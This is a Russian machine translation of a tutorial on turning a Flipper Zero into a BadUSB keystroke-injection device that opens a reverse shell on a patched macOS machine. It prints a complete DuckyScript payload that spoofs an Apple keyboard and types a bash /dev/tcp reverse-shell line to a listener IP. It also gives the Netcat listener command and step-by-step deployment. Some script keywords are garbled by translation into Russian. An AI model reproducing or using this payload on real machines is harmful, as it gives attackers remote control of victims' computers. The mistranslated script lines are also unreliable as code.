Как получить обратную оболочку на macOS, используя Flipper Zero в качестве BadUSB
6 декабря 2022 г.Используя Flipper Zero, короткий 12-строчный текстовый файл DuckyScript и удаленный прослушиватель на моем сервере Ubuntu, я смог получить оболочку на моем компьютере Ventura с операционной системой MacOS, полностью исправленной и обновленной.
В своей лабораторной среде я использую Flipper Zero в качестве устройства для тестирования на проникновение для проверки уязвимостей в своих серверах и настольных системах.
Flipper Zero — это наш предпочтительный инструмент этического взлома, поскольку он предлагает бесконечное количество доступных полезных нагрузок, имеет инструмент выбора в экранном меню и использует отображение прогресса для предоставления обратной связи.
<цитата>Эта статья является примером того, как использовать Flipper Zero в качестве устройства BadUSB для этичного пентеста и как не стать жертвой такого эксплойта. Не используйте это на компьютерах, которыми вы не владеете или не имеете разрешения на использование. Этот код не пытается скрыться от систем обнаружения вторжений (IDS), систем предотвращения вторжений (IPS), систем сетевого обнаружения, брандмауэров или антивирусного программного обеспечения (AV).
Неверные полезные данные USB
В Flipper Zero BadUSB, а также в некоторых других устройствах BadUSB используются полезные нагрузки, написанные на DuckyScript. Простой язык сценариев для выполнения нажатий клавиш, приводящих к атаке путем внедрения с клавиатуры.
Хорошей отправной точкой для Duckyscript Payloads является официальный веб-сайт Hak5:
https://shop.hak5.org/blogs/payloads/tagged/ usb-rubber-ducky. Здесь вы найдете примеры и документацию по использованию DuckScript.
Давайте напишем DuckyScript
Вы можете использовать готовый сценарий или научиться писать свой собственный. Мы покажем вам, как использовать обратную оболочку на компьютере с macOS в простом пошаговом руководстве.
Используйте ваш любимый текстовый редактор и введите следующий текст. В macOS приложение TextEdit установлено по умолчанию, поэтому мы будем использовать его.
ID 05ac:021e Apple:Клавиатура
ЗАДЕРЖКА 1000
ПРОСТРАНСТВО ГРАФИЧЕСКОГО ИНТЕРФЕЙСА
ЗАДЕРЖКА 200
Терминал STRING
ЗАДЕРЖКА 200
ВВОД
ЗАДЕРЖКА 1000
STRING bash -i >& /dev/tcp/10.10.10.157/4444 0>&1
ЗАДЕРЖКА 1000
ВВОД
ЗАДЕРЖКА 1000
Для этого пошагового руководства нам не нужно много знать о DuckyScript, поэтому мы рассмотрим несколько команд, которые использует наш скрипт. На самом деле мы используем только пять различных команд.
| Команда | Описание | |----|----| | ID 05ac:021e Apple:Клавиатура | Эта строка сообщает macOS, что Flipper Zero на самом деле является клавиатурой Apple. Если вы не используете эту строку, macOS отобразит диалоговое окно «Ассистент настройки клавиатуры», которое приведет к сбою вашего сценария. | | ЗАДЕРЖКА | Эта команда указывает операционной системе подождать некоторое время. Если мы не будем использовать эти задержки, скрипт будет работать слишком быстро и завершится ошибкой. | | ГРАФИЧЕСКИЙ ПРОСТРАНСТВО | Нажимает клавишу Apple Command и клавишу пробела, чтобы открыть окно «Поиск Spotlight». | | Терминал STRING | Вводит строку «Терминал» в окно поиска Spotlight | | ВВОД | Нажимает клавишу ENTER или Return на клавиатуре. После нажатия клавиши ENTER macOS запускает окно терминала (/Applications/Utilities/Terminal) | | STRING bash -i >& /dev/tcp/10.10.10.157/4444 0>&1 | Эта команда вводит текст в окно терминала, которое устанавливает соединение с сервером Netcat, прослушивающим 10.10.10.157 через порт 4444 |
Измените IP-адрес 10.10.10.157 и порт 4444 на IP-адрес и порт вашего сервера.
Сохраните этот файл на свой диск как rev_shell_macos.txt. В каталоге badusb на Flipper Zero нет организации подкаталогов, поэтому, если вы используете несколько полезных нагрузок для разных операционных систем, используйте соглашение об именах, которое что-то для вас значит, чтобы вы знали, что оно делает. р>
Установка приложения qflipper
Если вы еще не установили приложение qflipper, перейдите на официальную страницу обновления Flipper Zero и выберите установщик для своей операционной системы. Страница является страницей обновления прошивки, но внизу находятся ссылки для установки приложения qflipper.
https://flipperzero.one/update
https://flipperzero.one/update?embedable=true
Следуйте инструкциям для вашей операционной системы, чтобы установить приложение qflipper.
Перенос скрипта Duckyscript на Flipper Zero
Откройте приложение qflipper и выберите значок папки, выделенный красным цветом.
Выберите и дважды щелкните значок SD-карта, чтобы просмотреть содержимое.
Найдите и перетащите созданный ранее файл rev_shell_macos.txt в папку badusb.
Удалите Flipper Zero со своего компьютера, когда файл будет скопирован.
Ожидание обратной оболочки
Flipper Zero BadUSB включен и готов к использованию. Но сначала нам нужно настроить наш удаленный прослушиватель на нашем сервере. На нашем сервере Ubuntu запустите прослушиватель Netcat с помощью следующей команды:
$ nc -nlvp 4444
Разбивка команды приведена в следующей таблице. Опять же, вам не нужно знать, что происходит с помощью этой команды, кроме того, что она ожидает входящего соединения.
| Команда | Опции | |----|----| | нк | Команда Netcat | | -nlvp | (n) нет разрешения DNS, (l) прослушивание входящего соединения, (v) подробный вывод, (p >) порт | | 4444 | Номер порта для прослушивания |
Теперь, когда наш прослушиватель Netcat готов и ожидает входящего соединения, мы можем приступить к атаке Flipper Zero BadUSB.
Запуск обратной оболочки BadUSB
Сложная часть сделана. Файл Flipper Zero BadUSB reverse_shell_macos.txt записывается, перемещается на Flipper Zero, и прослушиватель Netcat ожидает подключения.
Найдите меню Bad USB и нажмите кнопку Run. Пока не подключайте Flipper Zero к компьютеру. Flipper Zero сообщит вам, когда пора подключить ваше устройство.
Перейдите к файлу DuckyScript, который мы скопировали на предыдущем шаге. Если вы не видите этот файл, значит, вы скопировали его не в тот каталог. Выберите rev_shell_macos и нажмите кнопку "Выполнить".
Когда вы видите предупреждение Подключиться к USB, вы можете подключить Flipper Zero к USB-порту iMac или MacBook. Нажмите кнопку "Выполнить".
Вы можете наблюдать за ходом выполнения скрипта BadUSB в главном окне. Когда статус достигает 100 %, полезная нагрузка завершена, и вы можете удалить Flipper Zero.
Если вы смотрите на монитор компьютера iMac, вы можете увидеть, как эксплойт выполняет DuckyScript. Прослушиватель Netcat на нашем сервере Ubuntu отображает результаты успешного запроса.
Управление компьютером
Теперь вы можете управлять компьютером с macOS через обратную оболочку. Работая в версии BSD Linux, вы можете использовать инструменты командной строки Unix и оболочку BASH, как если бы вы сидели за клавиатурой физического iMac.
Для навигации по файловой системе можно использовать обычные команды Linux, такие как whoami, pwd, ls или cd. и управлять операционной системой.
Дальнейшие шаги
Теперь, когда вы понимаете, как Flipper Zero работает как устройство BadUSB, вы можете создавать свои собственные сценарии. Используйте сайт Hak5 или один из многочисленных репозиториев DuckyScript GitHub, доступных через поиск Google, в качестве отправной точки для ваших собственных файлов Duckyscript.
Действуйте законно и этично. Используйте этот инструмент на устройствах, которыми вы владеете или на которые у вас есть разрешение.
Оригинал